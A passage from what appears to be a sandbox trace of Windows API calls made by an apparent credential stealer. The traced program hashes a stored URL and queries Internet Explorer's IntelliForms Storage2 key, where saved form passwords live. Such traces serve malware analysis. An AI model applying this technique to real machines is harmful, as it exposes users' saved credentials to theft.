| out: lpString1="2CC2CF2DD6EEF5") returned="2CC2CF2DD6EEF5" [0097.041] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.041] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="04") returned 2 [0097.041] lstrlenW (lpString="2CC2CF2DD6EEF5") returned 14 [0097.041] lstrlenW (lpString="04") returned 2 [0097.041] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0097.041] lstrcpyW (in: lpString1=0x71cfb40, lpString2="2CC2CF2DD6EEF5" | out: lpString1="2CC2CF2DD6EEF5") returned="2CC2CF2DD6EEF5" [0097.041] lstrcatW (in: lpString1="2CC2CF2DD6EEF5", lpString2="04" | out: lpString1="2CC2CF2DD6EEF504") returned="2CC2CF2DD6EEF504" [0097.041] LocalFree (hMem=0x71cf460) returned 0x0 [0097.041] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2F") returned 2 [0097.041] lstrlenW (lpString="2CC2CF2DD6EEF504") returned 16 [0097.041] lstrlenW (lpString="2F") returned 2 [0097.041] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0097.041] lstrcpyW (in: lpString1=0x71cf460, lpString2="2CC2CF2DD6EEF504" | out: lpString1="2CC2CF2DD6EEF504") returned="2CC2CF2DD6EEF504" [0097.041] lstrcatW (in: lpString1="2CC2CF2DD6EEF504", lpString2="2F" | out: lpString1="2CC2CF2DD6EEF5042F") returned="2CC2CF2DD6EEF5042F" [0097.042] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.042] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DB") returned 2 [0097.042] lstrlenW (lpString="2CC2CF2DD6EEF5042F") returned 18 [0097.042] lstrlenW (lpString="DB") returned 2 [0097.042] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.042] lstrcpyW (in: lpString1=0x72912f0, lpString2="2CC2CF2DD6EEF5042F" | out: lpString1="2CC2CF2DD6EEF5042F") returned="2CC2CF2DD6EEF5042F" [0097.042] lstrcatW (in: lpString1="2CC2CF2DD6EEF5042F", lpString2="DB" | out: lpString1="2CC2CF2DD6EEF5042FDB") returned="2CC2CF2DD6EEF5042FDB" [0097.042] LocalFree (hMem=0x71cf460) returned 0x0 [0097.042] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BB") returned 2 [0097.042] lstrlenW (lpString="2CC2CF2DD6EEF5042FDB") returned 20 [0097.042] lstrlenW (lpString="BB") returned 2 [0097.042] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.042] lstrcpyW (in: lpString1=0x7290b70, lpString2="2CC2CF2DD6EEF5042FDB" | out: lpString1="2CC2CF2DD6EEF5042FDB") returned="2CC2CF2DD6EEF5042FDB" [0097.042] lstrcatW (in: lpString1="2CC2CF2DD6EEF5042FDB", lpString2="BB" | out: lpString1="2CC2CF2DD6EEF5042FDBBB") returned="2CC2CF2DD6EEF5042FDBBB" [0097.042] LocalFree (hMem=0x72912f0) returned 0x0 [0097.042] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3F") returned 2 [0097.042] lstrlenW (lpString="2CC2CF2DD6EEF5042FDBBB") returned 22 [0097.042] lstrlenW (lpString="3F") returned 2 [0097.042] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.042] lstrcpyW (in: lpString1=0x72912f0, lpString2="2CC2CF2DD6EEF5042FDBBB" | out: lpString1="2CC2CF2DD6EEF5042FDBBB") returned="2CC2CF2DD6EEF5042FDBBB" [0097.042] lstrcatW (in: lpString1="2CC2CF2DD6EEF5042FDBBB", lpString2="3F" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F") returned="2CC2CF2DD6EEF5042FDBBB3F" [0097.042] LocalFree (hMem=0x7290b70) returned 0x0 [0097.042] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="03") returned 2 [0097.042] lstrlenW (lpString="2CC2CF2DD6EEF5042FDBBB3F") returned 24 [0097.042] lstrlenW (lpString="03") returned 2 [0097.042] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.042] lstrcpyW (in: lpString1=0x7290b70, lpString2="2CC2CF2DD6EEF5042FDBBB3F" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F") returned="2CC2CF2DD6EEF5042FDBBB3F" [0097.042] lstrcatW (in: lpString1="2CC2CF2DD6EEF5042FDBBB3F", lpString2="03" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03") returned="2CC2CF2DD6EEF5042FDBBB3F03" [0097.042] LocalFree (hMem=0x72912f0) returned 0x0 [0097.042] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AC") returned 2 [0097.042] lstrlenW (lpString="2CC2CF2DD6EEF5042FDBBB3F03") returned 26 [0097.042] lstrlenW (lpString="AC") returned 2 [0097.042] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.042] lstrcpyW (in: lpString1=0x2815670, lpString2="2CC2CF2DD6EEF5042FDBBB3F03" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03") returned="2CC2CF2DD6EEF5042FDBBB3F03" [0097.042] lstrcatW (in: lpString1="2CC2CF2DD6EEF5042FDBBB3F03", lpString2="AC" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03AC") returned="2CC2CF2DD6EEF5042FDBBB3F03AC" [0097.042] LocalFree (hMem=0x7290b70) returned 0x0 [0097.042] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EE") returned 2 [0097.042] lstrlenW (lpString="2CC2CF2DD6EEF5042FDBBB3F03AC") returned 28 [0097.042] lstrlenW (lpString="EE") returned 2 [0097.043] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.043] lstrcpyW (in: lpString1=0x2815a80, lpString2="2CC2CF2DD6EEF5042FDBBB3F03AC" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03AC") returned="2CC2CF2DD6EEF5042FDBBB3F03AC" [0097.043] lstrcatW (in: lpString1="2CC2CF2DD6EEF5042FDBBB3F03AC", lpString2="EE" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEE") returned="2CC2CF2DD6EEF5042FDBBB3F03ACEE" [0097.043] LocalFree (hMem=0x2815670) returned 0x0 [0097.043] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BC") returned 2 [0097.043] lstrlenW (lpString="2CC2CF2DD6EEF5042FDBBB3F03ACEE") returned 30 [0097.043] lstrlenW (lpString="BC") returned 2 [0097.043] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.043] lstrcpyW (in: lpString1=0x2815670, lpString2="2CC2CF2DD6EEF5042FDBBB3F03ACEE" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEE") returned="2CC2CF2DD6EEF5042FDBBB3F03ACEE" [0097.043] lstrcatW (in: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEE", lpString2="BC" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBC") returned="2CC2CF2DD6EEF5042FDBBB3F03ACEEBC" [0097.043] LocalFree (hMem=0x2815a80) returned 0x0 [0097.043] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EA") returned 2 [0097.043] lstrlenW (lpString="2CC2CF2DD6EEF5042FDBBB3F03ACEEBC") returned 32 [0097.043] lstrlenW (lpString="EA") returned 2 [0097.043] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.043] lstrcpyW (in: lpString1=0x2815a80, lpString2="2CC2CF2DD6EEF5042FDBBB3F03ACEEBC" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBC") returned="2CC2CF2DD6EEF5042FDBBB3F03ACEEBC" [0097.043] lstrcatW (in: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBC", lpString2="EA" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA") returned="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA" [0097.043] LocalFree (hMem=0x2815670) returned 0x0 [0097.043] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0D") returned 2 [0097.043] lstrlenW (lpString="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA") returned 34 [0097.043] lstrlenW (lpString="0D") returned 2 [0097.043] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.043] lstrcpyW (in: lpString1=0x28e7670, lpString2="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA") returned="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA" [0097.043] lstrcatW (in: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA", lpString2="0D" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0D") returned="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0D" [0097.043] LocalFree (hMem=0x2815a80) returned 0x0 [0097.043] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BF") returned 2 [0097.043] lstrlenW (lpString="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0D") returned 36 [0097.043] lstrlenW (lpString="BF") returned 2 [0097.043] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.043] lstrcpyW (in: lpString1=0x28e7910, lpString2="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0D" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0D") returned="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0D" [0097.043] lstrcatW (in: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0D", lpString2="BF" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBF") returned="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBF" [0097.043] LocalFree (hMem=0x28e7670) returned 0x0 [0097.043] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DC") returned 2 [0097.043] lstrlenW (lpString="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBF") returned 38 [0097.043] lstrlenW (lpString="DC") returned 2 [0097.043] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.043] lstrcpyW (in: lpString1=0x28e7670, lpString2="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBF" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBF") returned="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBF" [0097.043] lstrcatW (in: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBF", lpString2="DC" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBFDC") returned="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBFDC" [0097.044] LocalFree (hMem=0x28e7910) returned 0x0 [0097.044] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="96") returned 2 [0097.044] lstrlenW (lpString="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBFDC") returned 40 [0097.044] lstrlenW (lpString="96") returned 2 [0097.044] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.044] lstrcpyW (in: lpString1=0x28e7910, lpString2="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBFDC" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBFDC") returned="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBFDC" [0097.044] lstrcatW (in: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBFDC", lpString2="96" | out: lpString1="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBFDC96") returned="2CC2CF2DD6EEF5042FDBBB3F03ACEEBCEA0DBFDC96" [0097.044] LocalFree (hMem=0x28e7670) returned 0x0 [0097.044] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.044] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.044] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.044] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.044] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.044] LocalFree (hMem=0x28e7910) returned 0x0 [0097.044] RegEnumValueW (in: hKey=0x368, dwIndex=0x2e, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url4", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.044] StrStrIW (lpFirst="uptodown.com", lpSrch="?") returned 0x0 [0097.044] StrStrIW (lpFirst="uptodown.com", lpSrch="http://") returned 0x0 [0097.044] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.045] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.045] lstrlenW (lpString="uptodown.com") returned 12 [0097.045] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x1a, dwFlags=0x0) returned 1 [0097.045] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.045] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="74") returned 2 [0097.045] lstrlenW (lpString="") returned 0 [0097.045] lstrlenW (lpString="74") returned 2 [0097.045] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0097.045] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0097.045] lstrcatW (in: lpString1="", lpString2="74" | out: lpString1="74") returned="74" [0097.045] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="46") returned 2 [0097.045] lstrlenW (lpString="74") returned 2 [0097.045] lstrlenW (lpString="46") returned 2 [0097.045] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28ca380 [0097.045] lstrcpyW (in: lpString1=0x28ca380, lpString2="74" | out: lpString1="74") returned="74" [0097.045] lstrcatW (in: lpString1="74", lpString2="46" | out: lpString1="7446") returned="7446" [0097.045] LocalFree (hMem=0x7222e70) returned 0x0 [0097.045] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="02") returned 2 [0097.045] lstrlenW (lpString="7446") returned 4 [0097.045] lstrlenW (lpString="02") returned 2 [0097.045] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0097.045] lstrcpyW (in: lpString1=0x28c81c0, lpString2="7446" | out: lpString1="7446") returned="7446" [0097.045] lstrcatW (in: lpString1="7446", lpString2="02" | out: lpString1="744602") returned="744602" [0097.045] LocalFree (hMem=0x28ca380) returned 0x0 [0097.045] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="80") returned 2 [0097.045] lstrlenW (lpString="744602") returned 6 [0097.045] lstrlenW (lpString="80") returned 2 [0097.045] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28ca380 [0097.045] lstrcpyW (in: lpString1=0x28ca380, lpString2="744602" | out: lpString1="744602") returned="744602" [0097.045] lstrcatW (in: lpString1="744602", lpString2="80" | out: lpString1="74460280") returned="74460280" [0097.045] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.045] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4D") returned 2 [0097.045] lstrlenW (lpString="74460280") returned 8 [0097.045] lstrlenW (lpString="4D") returned 2 [0097.045] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0097.046] lstrcpyW (in: lpString1=0x28c81c0, lpString2="74460280" | out: lpString1="74460280") returned="74460280" [0097.046] lstrcatW (in: lpString1="74460280", lpString2="4D" | out: lpString1="744602804D") returned="744602804D" [0097.046] LocalFree (hMem=0x28ca380) returned 0x0 [0097.046] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0F") returned 2 [0097.046] lstrlenW (lpString="744602804D") returned 10 [0097.046] lstrlenW (lpString="0F") returned 2 [0097.046] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0097.046] lstrcpyW (in: lpString1=0x71cf460, lpString2="744602804D" | out: lpString1="744602804D") returned="744602804D" [0097.046] lstrcatW (in: lpString1="744602804D", lpString2="0F" | out: lpString1="744602804D0F") returned="744602804D0F" [0097.046] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.046] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4F") returned 2 [0097.046] lstrlenW (lpString="744602804D0F") returned 12 [0097.046] lstrlenW (lpString="4F") returned 2 [0097.046] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0097.046] lstrcpyW (in: lpString1=0x71cfb40, lpString2="744602804D0F" | out: lpString1="744602804D0F") returned="744602804D0F" [0097.046] lstrcatW (in: lpString1="744602804D0F", lpString2="4F" | out: lpString1="744602804D0F4F") returned="744602804D0F4F" [0097.046] LocalFree (hMem=0x71cf460) returned 0x0 [0097.046] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9C") returned 2 [0097.046] lstrlenW (lpString="744602804D0F4F") returned 14 [0097.046] lstrlenW (lpString="9C") returned 2 [0097.046] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0097.046] lstrcpyW (in: lpString1=0x71cf460, lpString2="744602804D0F4F" | out: lpString1="744602804D0F4F") returned="744602804D0F4F" [0097.046] lstrcatW (in: lpString1="744602804D0F4F", lpString2="9C" | out: lpString1="744602804D0F4F9C") returned="744602804D0F4F9C" [0097.046] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.046] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F9") returned 2 [0097.046] lstrlenW (lpString="744602804D0F4F9C") returned 16 [0097.046] lstrlenW (lpString="F9") returned 2 [0097.046] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0097.046] lstrcpyW (in: lpString1=0x71cfb40, lpString2="744602804D0F4F9C" | out: lpString1="744602804D0F4F9C") returned="744602804D0F4F9C" [0097.046] lstrcatW (in: lpString1="744602804D0F4F9C", lpString2="F9" | out: lpString1="744602804D0F4F9CF9") returned="744602804D0F4F9CF9" [0097.046] LocalFree (hMem=0x71cf460) returned 0x0 [0097.046] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4A") returned 2 [0097.046] lstrlenW (lpString="744602804D0F4F9CF9") returned 18 [0097.046] lstrlenW (lpString="4A") returned 2 [0097.046] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.046] lstrcpyW (in: lpString1=0x7290b70, lpString2="744602804D0F4F9CF9" | out: lpString1="744602804D0F4F9CF9") returned="744602804D0F4F9CF9" [0097.046] lstrcatW (in: lpString1="744602804D0F4F9CF9", lpString2="4A" | out: lpString1="744602804D0F4F9CF94A") returned="744602804D0F4F9CF94A" [0097.047] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.047] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="35") returned 2 [0097.047] lstrlenW (lpString="744602804D0F4F9CF94A") returned 20 [0097.047] lstrlenW (lpString="35") returned 2 [0097.047] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.047] lstrcpyW (in: lpString1=0x72912f0, lpString2="744602804D0F4F9CF94A" | out: lpString1="744602804D0F4F9CF94A") returned="744602804D0F4F9CF94A" [0097.047] lstrcatW (in: lpString1="744602804D0F4F9CF94A", lpString2="35" | out: lpString1="744602804D0F4F9CF94A35") returned="744602804D0F4F9CF94A35" [0097.047] LocalFree (hMem=0x7290b70) returned 0x0 [0097.047] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A2") returned 2 [0097.047] lstrlenW (lpString="744602804D0F4F9CF94A35") returned 22 [0097.047] lstrlenW (lpString="A2") returned 2 [0097.047] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.047] lstrcpyW (in: lpString1=0x7290b70, lpString2="744602804D0F4F9CF94A35" | out: lpString1="744602804D0F4F9CF94A35") returned="744602804D0F4F9CF94A35" [0097.047] lstrcatW (in: lpString1="744602804D0F4F9CF94A35", lpString2="A2" | out: lpString1="744602804D0F4F9CF94A35A2") returned="744602804D0F4F9CF94A35A2" [0097.047] LocalFree (hMem=0x72912f0) returned 0x0 [0097.047] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6C") returned 2 [0097.047] lstrlenW (lpString="744602804D0F4F9CF94A35A2") returned 24 [0097.047] lstrlenW (lpString="6C") returned 2 [0097.047] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.047] lstrcpyW (in: lpString1=0x72912f0, lpString2="744602804D0F4F9CF94A35A2" | out: lpString1="744602804D0F4F9CF94A35A2") returned="744602804D0F4F9CF94A35A2" [0097.047] lstrcatW (in: lpString1="744602804D0F4F9CF94A35A2", lpString2="6C" | out: lpString1="744602804D0F4F9CF94A35A26C") returned="744602804D0F4F9CF94A35A26C" [0097.047] LocalFree (hMem=0x7290b70) returned 0x0 [0097.047] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="98") returned 2 [0097.047] lstrlenW (lpString="744602804D0F4F9CF94A35A26C") returned 26 [0097.047] lstrlenW (lpString="98") returned 2 [0097.047] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0097.047] lstrcpyW (in: lpString1=0x2815a80, lpString2="744602804D0F4F9CF94A35A26C" | out: lpString1="744602804D0F4F9CF94A35A26C") returned="744602804D0F4F9CF94A35A26C" [0097.047] lstrcatW (in: lpString1="744602804D0F4F9CF94A35A26C", lpString2="98" | out: lpString1="744602804D0F4F9CF94A35A26C98") returned="744602804D0F4F9CF94A35A26C98" [0097.047] LocalFree (hMem=0x72912f0) returned 0x0 [0097.047] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B0") returned 2 [0097.047] lstrlenW (lpString="744602804D0F4F9CF94A35A26C98") returned 28 [0097.047] lstrlenW (lpString="B0") returned 2 [0097.047] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.047] lstrcpyW (in: lpString1=0x2815670, lpString2="744602804D0F4F9CF94A35A26C98" | out: lpString1="744602804D0F4F9CF94A35A26C98") returned="744602804D0F4F9CF94A35A26C98" [0097.047] lstrcatW (in: lpString1="744602804D0F4F9CF94A35A26C98", lpString2="B0" | out: lpString1="744602804D0F4F9CF94A35A26C98B0") returned="744602804D0F4F9CF94A35A26C98B0" [0097.047] LocalFree (hMem=0x2815a80) returned 0x0 [0097.047] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="70") returned 2 [0097.047] lstrlenW (lpString="744602804D0F4F9CF94A35A26C98B0") returned 30 [0097.047] lstrlenW (lpString="70") returned 2 [0097.048] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0097.048] lstrcpyW (in: lpString1=0x2815a80, lpString2="744602804D0F4F9CF94A35A26C98B0" | out: lpString1="744602804D0F4F9CF94A35A26C98B0") returned="744602804D0F4F9CF94A35A26C98B0" [0097.048] lstrcatW (in: lpString1="744602804D0F4F9CF94A35A26C98B0", lpString2="70" | out: lpString1="744602804D0F4F9CF94A35A26C98B070") returned="744602804D0F4F9CF94A35A26C98B070" [0097.048] LocalFree (hMem=0x2815670) returned 0x0 [0097.048] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="89") returned 2 [0097.048] lstrlenW (lpString="744602804D0F4F9CF94A35A26C98B070") returned 32 [0097.048] lstrlenW (lpString="89") returned 2 [0097.048] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.048] lstrcpyW (in: lpString1=0x2815670, lpString2="744602804D0F4F9CF94A35A26C98B070" | out: lpString1="744602804D0F4F9CF94A35A26C98B070") returned="744602804D0F4F9CF94A35A26C98B070" [0097.048] lstrcatW (in: lpString1="744602804D0F4F9CF94A35A26C98B070", lpString2="89" | out: lpString1="744602804D0F4F9CF94A35A26C98B07089") returned="744602804D0F4F9CF94A35A26C98B07089" [0097.048] LocalFree (hMem=0x2815a80) returned 0x0 [0097.048] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AF") returned 2 [0097.048] lstrlenW (lpString="744602804D0F4F9CF94A35A26C98B07089") returned 34 [0097.048] lstrlenW (lpString="AF") returned 2 [0097.048] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.048] lstrcpyW (in: lpString1=0x28e7910, lpString2="744602804D0F4F9CF94A35A26C98B07089" | out: lpString1="744602804D0F4F9CF94A35A26C98B07089") returned="744602804D0F4F9CF94A35A26C98B07089" [0097.048] lstrcatW (in: lpString1="744602804D0F4F9CF94A35A26C98B07089", lpString2="AF" | out: lpString1="744602804D0F4F9CF94A35A26C98B07089AF") returned="744602804D0F4F9CF94A35A26C98B07089AF" [0097.048] LocalFree (hMem=0x2815670) returned 0x0 [0097.048] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="39") returned 2 [0097.048] lstrlenW (lpString="744602804D0F4F9CF94A35A26C98B07089AF") returned 36 [0097.048] lstrlenW (lpString="39") returned 2 [0097.048] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.048] lstrcpyW (in: lpString1=0x28e7670, lpString2="744602804D0F4F9CF94A35A26C98B07089AF" | out: lpString1="744602804D0F4F9CF94A35A26C98B07089AF") returned="744602804D0F4F9CF94A35A26C98B07089AF" [0097.048] lstrcatW (in: lpString1="744602804D0F4F9CF94A35A26C98B07089AF", lpString2="39" | out: lpString1="744602804D0F4F9CF94A35A26C98B07089AF39") returned="744602804D0F4F9CF94A35A26C98B07089AF39" [0097.048] LocalFree (hMem=0x28e7910) returned 0x0 [0097.048] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AD") returned 2 [0097.048] lstrlenW (lpString="744602804D0F4F9CF94A35A26C98B07089AF39") returned 38 [0097.048] lstrlenW (lpString="AD") returned 2 [0097.048] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.048] lstrcpyW (in: lpString1=0x28e7910, lpString2="744602804D0F4F9CF94A35A26C98B07089AF39" | out: 